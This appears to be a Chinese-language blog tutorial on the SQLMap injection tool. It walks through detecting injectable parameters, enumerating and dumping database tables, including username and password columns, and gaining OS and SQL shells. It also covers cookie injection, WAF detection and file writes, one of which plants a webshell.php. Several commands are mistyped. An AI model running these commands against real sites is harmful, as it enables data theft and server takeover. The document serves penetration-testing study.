SQLMAP使用介绍

目录

第一篇 认识SQLAMP

第二篇 骚操作


第一篇 认识SQLAMP

摘自《web安全深度剖析》

1 基本信息

  • 数据库支持MySQL、Oracle、PostgreSQL、 Microsoft SQL Server、Microsoft Access、IBMDB2、SQLite、Firebird、 Sybase 和SAP MaxDB;

  • SQL注入类型包括SQL盲注、UNION注入、显错式注入、时间盲注、盲推理注入和堆查询注入等技术;

2 基本使用

第一步:判断是否是注入点。

sqlmap.py -u "http://www.xxser.com/user.jsp?id=1"

使用-u参数指定URL,如果URL存在注入点,将会显示出Web容器、数据库版本信息。


第二步:获取数据库。

sq1map.py -u "http://www.xxser.com/user.jsp?id=1”—dbs


第三步:查看当前应用程序所用数据库。

sq1map.py -u "http://www.xxser.com/user.jsp?id=1 --current-db


第四步:列出指定数据库的所有表。

sqlmap.py -u "http://www.xxser.com/user.jsp?id=1" --table -D "bbs"

使用--table参数获取数据库表,-D 参数指定数据库。


第五步:读取指定表中的字段名称。

sq1map.py -u "http://www.xxser.com/user.jsp?id=1”--columns -T "User" -D "bbs"


第六步:读取指定字段内容。

sq1map.py -u "http://www. xxser . com/user. jsp?id=1”--dump -C "UserName,PassWord,Email" -T "[User]" -D "bbs"


在读取数据后,SQLMap 将会把读取的数据转存到SQLMap/output/目录 下,文件以"Table.cvs"保存。

3 基本参数

(1)测试注入点权限

sqlmap.py -u [URL] – privileges                //测试所有用户的权限

sq1map.py -u [URL] -- privileges -U sa    //测试sa用户权限

sq1map.py -u [URL] --is-dba

注: SQLMap 命令区分大小写,-u 与-U是两个参数。

(2)执行Shell命令

sqlmap.py -u [URL] --os-cmd="net user"   //执行net user命令

sqlmap.py -u [URL] --os-shell                   //系统交互的shell

(3)执行SQL命令

sq1map.py -u [URL] --sql-shell              //返回SQL交互的shell,可以执行SQL语句

sq1map.py -u [URL] --sql -query="sql"

(4) POST提交方式

sq1map.py -u [URL] --data "POST 参数"

(5)显示详细的等级

sq1map.py -u [URL] --dbs -V 1

-v参数包含以下7个等级。

0:只显示Python的回溯、错误和关键消息;

1:显示信息和警告消息;

2:显示调试消息;

3:有效载荷注入;

4:显示HTTP请求;

5:显示HTTP响应头;

6:显示HTTP响应页面的内容。

(6)注入HTTP请求

sqlmap.py -r head.txt - -dbs         //head.txt内容为HTTP请求

(7)直接连接到数据库

sq1map.py -d "mysq1:/ /admin:admin@192.168.1.8:3306/testdb" --dbs

(8)注入等级

sqlmap.py -u [URL] --level 3

(9)将注入语句插入到指定位置

sqlmap.py -u "http: / /www. xxser. com/ id/2* . html" –dbs

(10)使用SQLMap插件

sqlmap.py -u [URL] – tamper 'space2morehash. py"

第二篇 骚操作

1 cookie  注入

当程序有防 get 注入的时候,可以使用 cookie 注入

sqlmap -u “” -- cookie “id=11” --level 2

(只有 level 达到 2 才会检测 cookie)

2 从 post  数据包中注入

可以使用 burpsuite 来抓取 post 包

sqlmap -r “c:\ request.txt” -p “username” –dbms mysql

指定 username 参数

3 防火墙探测

sqlmap -u “http://日月 lsj/post.php?id=1”  --identify-waf

4 保存进度

sqlmap -u “http:// 日月 lsj/post.php?id=1“ –dbs-o “sqlmap.log”

保存进度

sqlmap -u “http:// 日月 lsj/post.php?id=1“ –dbs-o “sqlmap.log”

–resume

恢复已保存进度

5 模仿手机

sqlmap -u “http://  日月 lsj/post.php ?id=1“ --mobile

6 指定测试参数

参数:-p,--skip

sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。

用-p参数设置想要测试的参数。例如: -p "id,user-anget"

用--level的值很大但是有个别参数不想测试的时候可以使用--skip参数。

--skip="user-angent.referer"

可以在指定参数后面加*

python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

7 爬行网站URL

参数:--crawl

sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3

8 注入payload

参数:--prefix,--suffix

在有些环境中,需要在注入的payload的前面或者后面加一些过滤字符,来保证payload的正常执行

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/gts.php?id=1" --prefix "’" --suffix "-- "

9 利用正则过滤目标网址

为什么过滤目标网址,前面批量扫是让我们扫描burp的请求耶,那这么多请求,有的请求并非是我们要扫描的网址怎么办?用正则干掉他吧!!!

参数:--scope

例如:只想要www开头,.com/.net/.org结尾的网址

python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

10 读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)

–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件

–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

#示例:

sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:

\1.php” –file-write “f:\webshell.php”

使用 shell 命令:

sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell

11 proxy  代理

sqlmap.py –u“http:// 日月 lsj/post.php?id=1“ –dbs –proxy=IP:80

12 ⾮交互模式

sqlmap.py –u“http:// 日月 lsj/post.php?id=1” –dbs --batch

13 指定类型

sqlmap.py –u“http:// 日月 lsj/post.php?id=1” –dbs -technique B

B:基于 Boolean 的盲注(Boolean based blind)

Q:内联查询(Inline queries)

T:基于时间的盲注(time based blind)

U:基于联合查询(Union query based)

E:基于错误(error based)

S:栈查询(stack queries)

14 启发式判断注⼊

sqlmap.py –u“http:// 日月 lsj/post.php?id=1” –dbs  --smart

有时对⽬标⾮常多的 URL 进⾏测试,为节省时间,只对可能性较大的进行测试

15 批量

sqlmap.py -m urls.txt –batch

16 延时

sqlmap -u "" --delay 0.2 –batch

安全学习交流群:687398569

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值